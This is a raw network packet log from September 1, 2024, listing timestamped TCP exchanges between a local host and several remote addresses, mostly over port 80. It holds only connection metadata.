Sep 1, 2024 05:09:24.710382938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.760144949 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.769390106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769398928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769408941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769418955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769448042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.769448996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769462109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769479036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.769489050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.769495010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.769531965 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770185947 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770224094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770232916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770237923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770252943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770265102 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770287991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770297050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770306110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770323992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770337105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770356894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770366907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770375967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770385027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770390987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770418882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770488024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770503044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770514011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770523071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770535946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770554066 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770574093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770577908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770591021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770612001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770627975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770643950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770652056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770684004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770710945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770720959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770730019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770740032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770752907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770775080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.770795107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.770833969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793250084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793261051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793272972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793318987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793320894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793332100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793342113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793354034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793359995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793365955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793371916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793412924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793486118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793497086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793508053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793534040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793541908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793553114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793564081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793575048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793600082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793618917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793626070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793709040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793720007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793730021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793740988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793747902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793751955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793781996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793792963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793879032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793889046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793898106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793908119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793917894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793937922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793962955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.793987989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.793998003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794008017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794030905 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794044971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794122934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794132948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794142962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794152021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794162035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794162989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794171095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794173956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794204950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794347048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794354916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794364929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794374943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794383049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794392109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794400930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794409990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794411898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794420004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794430017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794446945 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794456005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794480085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794513941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794584990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794595003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794603109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794611931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794620991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794629097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794631004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794656992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794665098 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794761896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794806957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794828892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794837952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794889927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794898987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794909954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794922113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794926882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.794939995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.794951916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795018911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795067072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795069933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795080900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795090914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795120001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795176983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795186996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795196056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795206070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795211077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795247078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795312881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795322895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795332909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795344114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795353889 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795394897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795406103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795416117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.795442104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.795464993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.800508976 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.871434927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:24.876213074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:24.960099936 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.960119963 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:24.960314989 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.960320950 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:24.960364103 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.960418940 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.960593939 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.960604906 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:24.960748911 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.960757971 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:24.978925943 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.978986025 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.979042053 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.979254961 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.979280949 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:24.979361057 CEST	49779	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:24.979374886 CEST	443	49779	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.014791012 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:25.014817953 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.014944077 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:25.015208960 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:25.015223980 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.052555084 CEST	80	49780	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:25.052620888 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.053211927 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.057951927 CEST	80	49780	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:25.113637924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113696098 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113729954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113739014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113748074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113763094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113776922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113789082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113802910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113805056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113811970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113821983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113830090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113841057 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113862991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113886118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113926888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.113950014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.113960028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114001989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114012957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114022970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114032984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114068985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114073992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114083052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114092112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114115953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114126921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114132881 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114214897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114224911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114233971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114243984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114244938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114253044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114268064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114283085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114300013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114355087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114363909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114368916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114377022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114387989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114399910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114428043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114489079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114499092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114514112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114522934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114531040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114532948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114542961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114552975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114581108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114600897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114649057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114692926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114708900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114717007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114753962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114762068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114773035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114804029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114820957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114842892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114872932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114903927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114905119 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114919901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114929914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.114965916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114978075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.114995956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115005016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115015030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115024090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115034103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115045071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115053892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115088940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115118027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115128040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115137100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115144968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115155935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115166903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115168095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115191936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115222931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115236044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115247011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115256071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115264893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115273952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115303040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115333080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115358114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115367889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115376949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115386009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115420103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115508080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115518093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115526915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115535975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115545988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115556002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115565062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115567923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115575075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115583897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115591049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115606070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115611076 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115629911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115648985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115762949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115806103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115823030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115833044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115869045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115885019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115895033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115902901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115930080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115940094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.115966082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115977049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115986109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.115993023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116005898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116013050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116022110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116024017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116030931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116059065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116067886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116075039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.116079092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116087914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116097927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.116107941 CEST	80	49742	185.215.113.100	192.168.2.4
